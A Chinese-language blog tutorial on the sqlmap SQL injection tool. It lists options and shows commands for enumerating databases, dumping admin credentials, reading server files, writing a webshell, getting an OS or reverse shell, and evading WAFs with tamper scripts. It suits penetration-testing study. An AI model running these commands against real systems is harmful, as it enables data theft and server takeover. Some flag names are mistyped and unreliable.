sqlmap基本学习

发布时间 2023-10-02 16:23:40作者: 小赵同学吖

sqlmap基本学习

sqlmap介绍

sqlmap是一个开源的渗透测试工具,它可以自动化检测和利用SQL注入缺陷以及接管数据库服务器的过程。它有一个强大的检测引擎,许多适合于终极渗透测试的小众特性和广泛的开关,从数据库指纹、从数据库获取数据到访问底层文件系统通过带外连接在操作系统上执行命令。

官方网址:http://sqlmap.org/

基础命令使用

options类

sqlmap --version  查看sqlmap版本信息           
sqlmap -g         查看常用的功能参数
sqlmap -hh        查看所有的参数
sqlmap -v         显示更详细的信息,一共7级,从0-6默认为1,数值越大,信息显示越详细
        0:只显示python的回溯,错误和关键信息
        1:显示信息和警告消息
        2:显示调试消息
        3:有效载荷注入
        4:显示HTTP请求
        5:显示HTTP响应头
        6:显示HTTP响应页面的内容
sqlmap -d         直接连接数据库
sqlmap -u         指定url扫描,但url必须存在查询参数,例如: -u "http://127.0.0.1.php?id=1"(查询该网址使用什么数据库)
sqlmap -l         指定logfile文件进行扫描,可以结合burpsuite把访问的记录保存成一个log文件,sqlmap可以直接加载burp保存到log文件进行扫描
sqlmap -x         以xml的形式提交一个站点给sqlmap
sqlmap -m         如果有多个url地址,可以把多个url保存成一个文本文件 -m可以加载文本文件逐个扫描 
sqlmap -r         把http的请求头,body保存成一个文件,统一交给sqlmap,sqlmap会读取内容进行拼接请求体 可以配合burp suite使用
sqlmap -g         利用谷歌搜索引擎搭配正则来过滤你想要的 
sqlmap -p         指定可测试的参数(?page=1&id=2)然后使用-p "page,id"
sqlmap -T         指定表名
sqlmap -s         保存注入过程到一个文件,还可中断,下次恢复在注入 保存-s "xx.log" 恢复:-s "xx.log" -resime
sqlmap -columns   列出字段
sqlmap -current-user获取当前用户名称
sqlmap -current-db获取当前数据库名称(database())
sqlmap -users     列出数据库所有用户
sqlmap -passwords 列出数据库所有密码
sqlmap -privileges查看用户权限
sqlmap -U         指定数据库用户
sqlmap -dbs       列出所有数据库
sqlmap -tables -D 列出指定数据库中的表
sqlmap -is-dba    是否是数据库管理员
sqlmap -roles     枚举数据库用户角色
sqlmap -udf-inject导入用户自定义函数(获取系统权限)
sqlmap -union-check检测是否支持联合注入
sqlmap -union-coks 查询表记录
sqlmap -union-test 语句测试
sqlmap -union-use  采用union注入
sqlmap -union-tech orderby #union配合order by
sqlmap -referer    使用referer欺骗 例子:-referer "http://www.baidu.com"\
sqlmap -proxy      代理注入 例子:-proxy "http://127.0.0.1:8080"#代理注入
sqlmap --proxy-file代理注入使用文件 例子:--proxy-file=XXXX
sqlmap -string     指定关键词
sqlmap -thread     采用多线程(-thread 3)
sqlmap -sql-shell  使用指定sql命令
sqlmap -file-read  读取指定文件
sqlmap -file-write 写入本地文件(-file-write 本地文件 -file-dest 目标路径)可以通过sqlmap写入木马 然后getshell
sqlmap -file-dest  要写入的文件绝对路径
sqlmap -os-cmd=id  执行系统命令
sqlmap -os-shell   系统交互式shell
sqlmap -os-pwn     反弹shell(-os-pwn -msf-path=路径)
sqlmap -msf-path   matesploit绝对路径
sqlmap -reg-read   读取win系统注册表
sqlmap --tamper    指定使用的脚本
sqlmap -C          指定字段

当发现sql注入的时候,根据我们注入的不同,对sqlmap使用的参数也不同

  1. 目的是获取网站后台管理的账号密码

查看当前数据库名字,即当前网站所属数据库名字
列出数据库中的表
觉得哪个表放着账号密码,就爆哪个表
一般密码经过了md5加密处理,需要进行hash碰撞

  1. 目的是获取mysql的管理账号、密码进行远程连接

--users
--passwords

sqlmap  -u  URL    			    检查注入点
sqlmap  -u  URL  --dbs 		    列出数据库中所有数据库的名字
sqlmap  -u  URL  --is-dba  	    当前用户是否是数据库管理员
sqlmap  -u  URL  --current-db	显示当前数据库的名字
 
-D					            指定数据库
--tables			            列出所有表名
sqlmap  -u URL -D "xx"  --tables         列出xx数据库中的所有表
 
-T					            指定一个表
--columns			            列出所有的字段名
sqlmap  -u  URL  -D "xx"  -T  "cc"  --columns     列出表中所有的字段名
 
-C					            指定一个字段名
--dump				            列出字段内容
sqlmap  -u  URL  -D "xx"  -T  "cc"   -C  "x,x,.."  --dump     列出字段内容(-T ,-C之类的要用大写不然有时候会读不出来)
 
sqlmap -r a.txt -p username     倒入txt文档的post数据包,并指定参数username进行注入
 
--dbms mysql                    指定注入的数据类型为mysql数据库
  
--os-shell                      尝试写入shell 
 
sqlmap -u url --batch --smart   自动聪明的选择,即执行的时候不需要我们再手动的进行选择yes或者no(但是由于机器自动进行选择,所以有时候结果会不一样比如没有结果,所以建议少使用)
 
--force-ssl                     测https的时候
 
--cookie "cookie值"             有些网站要登录才行,所以需设置cookie
--threads=10                    开启多线程,默认是单线程为1,最大10。线程越大检测速度越快
--users                         获取mysql数据库管理用户,mysql安装时会默认有一个root用户,除了这个用户可能还会创建有其他用户,这个参数可以将这些用户列出了
--passwords                     获取mysql数据库管理用户的hash值

补充说明

--dbms:指定注入的数据库类型,如Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, Percona, PostgreSQ

-v 3
 如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。

共有七个等级,默认为1:

0    只显示python错误以及严重的信息。
1    同时显示基本信息和警告信息。(默认)
2    同时显示debug信息。
3    同时显示注入的payload。
4    同时显示HTTP请求。
5    同时显示HTTP响应头。
6    同时显示HTTP响应页面。
如果你想看到sqlmap发送的测试payload最好的等级就是-v 3。
--technique=BEUST
有时候我们手工探测出来注入是某种类型,为了节省时间,我们可以直接指定sqlmap注入的类型

BEUST的值可以是"BEUST"中的一种。

B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
sqlmap.py  -r x.txt  -v3  --technique=B    #指定进行布尔盲注

--prefix与 --suffix
--prefix 在payload最前面加上指定的字符
--suffix 在payload最后面加上指定的字符
我们在注入的时候经会碰到需要在payload前加上指定的字符要构造闭合,如下这种情况,我们找到了注入点为' ,但是还得在后面加上 or ' 才行,与原来的sql语句构成闭合
sqlmap.py -r x.txt --prefix "'"  --suffix " or '" -v3

sqlmap自带脚本

命令如下 脚本目录:/usr/share/sqlmap/tamper (kali)

sqlmap -u [url] --tamper [模块名]

可以使用--identify-waf对网站检测是否存在安全防护

常用tamper脚本使用

除去这些sqlmap还提供了很多脚本

apostrophemask.py
        将引号替换成utf-8,用于过滤单引号

base64encode.py
        将原本的内容进行base64编码

multiplespaces.py
        围绕sql关键字添加多个空格
                使用脚本前1 UNION SELECT xxx
                使用脚本后1    UNION  SELECT XXX

space2plus.py
        用+号代替空格

unionalltounion.py
        将union allselect替换成unionselect

securesphere.py
        追加特定的字符串

nonrecursivereplacement.py
        用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)
                使用脚本前 1 UNION SELECT 2 --
                使用脚本后 1 UUIOUNIONN SELESELECTCT 2 --

space2randomblank.py
        将空格替换为其他有效字符

space2dash.py
        将空格替换成--,并添加一个随机字符串和换行符

space2mssqlblank.py
        将空格随机替换为其他空格符号(%01,%02,%03,%04,%05,%06)

between.py
        用NOT BETWEEN 0 AND #替换>

percentage.py
        在每个字符前添加一个%

charencode.py
        对全部字符进行url编码

randomcase.py
        随机大小写

charunicodeencode.py
        适用字符串的unicode编码

spacetolike.py
        将空格替换为/**/

equaltolike.py       
        将=替换为like   将>替换为GREATEST

modsecurityversioned.py
        使用内联注释方式/**/进入注入

指定多个脚本进行绕过(--tamper)
sqlmap --tamper="space2comment.py,space2plus.py"

Level和risk等级

level:共有五个等级,默认为,在不确定哪个payload或者参数为注入点时,为了保证全面性可以使用高等级的level值

5级包含的注入点最多,包含cookie,xff,referere等头部注入,相对速度比较慢可以是线程thread

​ level 2 #http cookie会测试

​ level 3 #http user-agent/referer头会测试

risk:风险等级,一共有4个,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加IR语句的SQL注入测试

读取文件(--file-read)

sqlmap -u "http://127.0.0.1/?id=1" --file-read "c:/test.txt" #读取目标服务器c盘下的test.txt

执行操作系统命令

<该数据库的secure_file_priv参数值为空(很多数据库的该值为NULL,也就导致了即使当前用户是root,即使知道网站根目录的绝对路径还是不能执行os-shell)>

sqlmap -u "http://192.168.1.1/?id=1" --os-shell